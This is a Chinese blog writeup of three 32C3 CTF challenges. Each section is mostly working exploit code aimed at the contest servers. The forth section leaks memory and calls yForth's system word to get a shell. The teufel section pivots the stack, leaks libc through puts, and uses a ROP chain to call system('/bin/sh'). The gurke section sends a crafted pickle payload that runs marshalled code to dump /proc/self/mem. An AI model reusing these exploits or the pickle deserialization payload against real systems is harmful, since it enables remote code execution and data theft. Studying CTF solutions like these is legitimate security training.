32c3 ctf writeup

原创

ling13579 于 2015-12-30 21:53:59 发布 1341 收藏

write by ling.

32c3 ctf总共做了3个题目，简单记录一下。

1. forth

只给了一个ip和端口，通过回显信息知道是yforth，网上直接下到了对应的源码。

在源码中搜索system，找到了如下函数：

```
void _system() {
    register UCell len = *sp++;
    register Char *name = (Char *) *sp;
    extern Char s_tmp_buffer[];
    memcpy(s_tmp_buffer, name, len);
    s_tmp_buffer[len] = '\0';
    *sp = system(s_tmp_buffer);
}
```

yforth支持的命令都用一个code的宏定义出来。

```
code(yforth_version,                "ver",          0)
code(save_image,                    "save-image",   0)
code(system,                        "system",       0)
```

分析_system函数，发现需要带2个参数，一个为执行命令的地址，一个为执行命令的长度。

如果需要执行system(“sh”),那么len=2，所以现在需要知道一个sh字符串的地址。

而因为没有给可执行程序，所以无法知道sh字符串的地址。

之后在源码中寻找泄露的函数，最后找到一个dump，能够实现任意地址任意长度泄露。

```
void _dump() {
    register UCell u = *sp++;
    register Char *addr = (Char *) *sp++;
    while (u) {
        register int i;
        printf("%08p: ", addr);
        for (i = 0; i < 16; i++)
            if ((int) (u - i) > 0) printf("%02x ", *(addr + i) & 0xff);
            else printf("   ");
        for (i = 0; i < 16 && (u - i) > 0; i++)
            printf("%c", *(addr + i) < 32 ? '.' : *(addr + i));
        putchar('\n');
        addr += i;
        u -= i;
    }
}
```



```
from threading import Thread
from zio import *

target = ('136.243.194.49', 1024)

def dump(target):
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))

    io.read_until('details')
    io.writeline(str(134512640)+' '+ str(62540)+' dump')
    d = io.read_until('ok\n')
    f=open('./dump.text', 'wb')
    f.write(d)
    f.close()

    io.writeline(str(134579276)+' '+ str(4388)+' dump')
    d = io.read_until('ok\n')
    f=open('./dump.data', 'wb')
    f.write(d)
    f.close()

    io.interact()

def exp(target):
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
    io.read_until('details')
    payload = '134514341 2 system'
    io.writeline(payload)
    io.interact()

exp(target)
```

2. teufel

这个题目是一个比较明显的栈溢出，不过利用有点麻烦。

1. 首先程序将栈转移到了mmap的空间，而返回地址刚好位于mmap的最高地址，因此如果栈溢出最多只能覆盖到返回地址，再往后覆盖就会出现异常。

不过因为栈溢出可以修改rbp的值，所以很容易将栈进行转移。

1. 通过覆盖rbp的最低位，可以泄露出rbp的高7位值，从而知道mmap的地址。
2. 主程序中代码极少，没有合适的gadget，所以还需要泄露出libc的地址，从而利用libc中的gadget构造rop。因为知道mmap的地址和libc加载地址相对偏移是固定的，所以只需要想办法找到相对偏移就可以计算出libc的加载地址。
3. 相对偏移的泄露，通过将返回值修改到mov rdi,rbp;call puts；处，此时将rbp设置为put_got，从而泄露出puts函数的地址，从而计算得到相对偏移。

```
import os
from threading import Thread

from zio import *

target = './teufel'
target = ('136.243.194.41', 666)


def leak(target, offset):
    io = zio(target, timeout=10, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))

    #io.write(l64(24))
    #io.write('a'*8+l64(0x600500)+l64(0x4004d4))
    #io.read_until('a'*8)
    io.write(l64(9))
    io.write('a'*9)
    io.read_until('a'*9)
    stack = l64('\x00'+io.readline().strip('\n').ljust(7, '\x00'))
    print hex(stack)

    fake_rbp = stack - 0x800 - 0x2000
    if fake_rbp < 0x7f0000000000:
        return 2

    io.write(l64(24))
    io.write('a'*8+l64(fake_rbp)+l64(0x4004d4))
    io.readline()

    put_got = 0x600FD8
    rbp = 8 + put_got

    payload = 'a'*8 + l64(rbp) + l64(0x40051F)
    io.write(l64(len(payload)))
    io.write(payload)
    io.readline()
    d = (io.readline().strip('\n')).ljust(8, '\x00')

    print repr(d)

    put_addr = l64(d)
    base = put_addr - 0x70a30
    print hex(base)

    print 'offset='+hex(stack-base)
    return 0

def exp(target, offset):
    io = zio(target, timeout=10, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))

    #io.write(l64(24))
    #io.write('a'*8+l64(0x600500)+l64(0x4004d4))
    #io.read_until('a'*8)
```

```
    io.write(l64(9))
    io.write('a'*9)
    io.read_until('a'*9)
    stack = l64('\x00'+io.readline().strip('\n').ljust(7, '\x00'))
    print hex(stack)

    fake_rbp = stack - 0x800 - 0x2000
    if fake_rbp < 0x7f0000000000:
        return 2

    base = stack - 0x1000*offset

    #local
    #pop_rdi_ret = base + 0x22b1a

    #remote
    pop_rdi_ret = base + 0x218A2
    io.write(l64(24))
    io.write('a'*8+l64(fake_rbp)+l64(0x4004d4))
    io.readline()

    put_plt = 0x400430

    system = base + 0x443d0
    binsh = base + 0x18c3dd
    payload = 'a'*16 + l64(pop_rdi_ret) + l64(binsh) + l64(system)

    io.write(l64(len(payload)))
    io.write(payload)
    io.interact()

exp(target, 0x5ea)
```

3. gurke

python pickle的洞，不过这个题通过sec comp限制了调用的系统调用，同时flag只存在于进程的内存中。

通过学习http://www.freebuf.com/articles/system/89165.html，知道了pickle的利用方法。

通过本地调试，发现flag位于ld.so的后面一块mmap内存之中，因此通过/proc/self/maps和/proc/self/mem去泄露那块内存，然后从中寻找flag。

```
import sys
import marshal
import base64

target = ('136.243.194.43', 80)

def foo():
    import os
    fd1 = os.open('/proc/self/maps', 0)
    os.lseek(fd1, 5000+0x150+11, 0)
    base = int(os.read(fd1, 12),16)
    size = 0x1f6000
    fd2 = os.open('/proc/self/mem', 0)
    os.lseek(fd2, base, 0)
    d = os.read(fd2, size)
    os.write(sys.stdout.fileno(), d)

d1 = '''
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'
'''.strip()

d2 = '''
'
tRtRc__builtin__
globals
(tRS''
tR(tR.
'''.strip()
d = base64.b64encode(marshal.dumps(foo.func_code))
payload = d1+d+d2+'\n'

import requests
s = requests.Session()
url = 'http://136.243.194.43/'
data = payload
resp = s.post(url, data=data)
d = resp.content

f = open('resp.txt', 'wb')
f.write(d)
f.close()

print 'finished'
```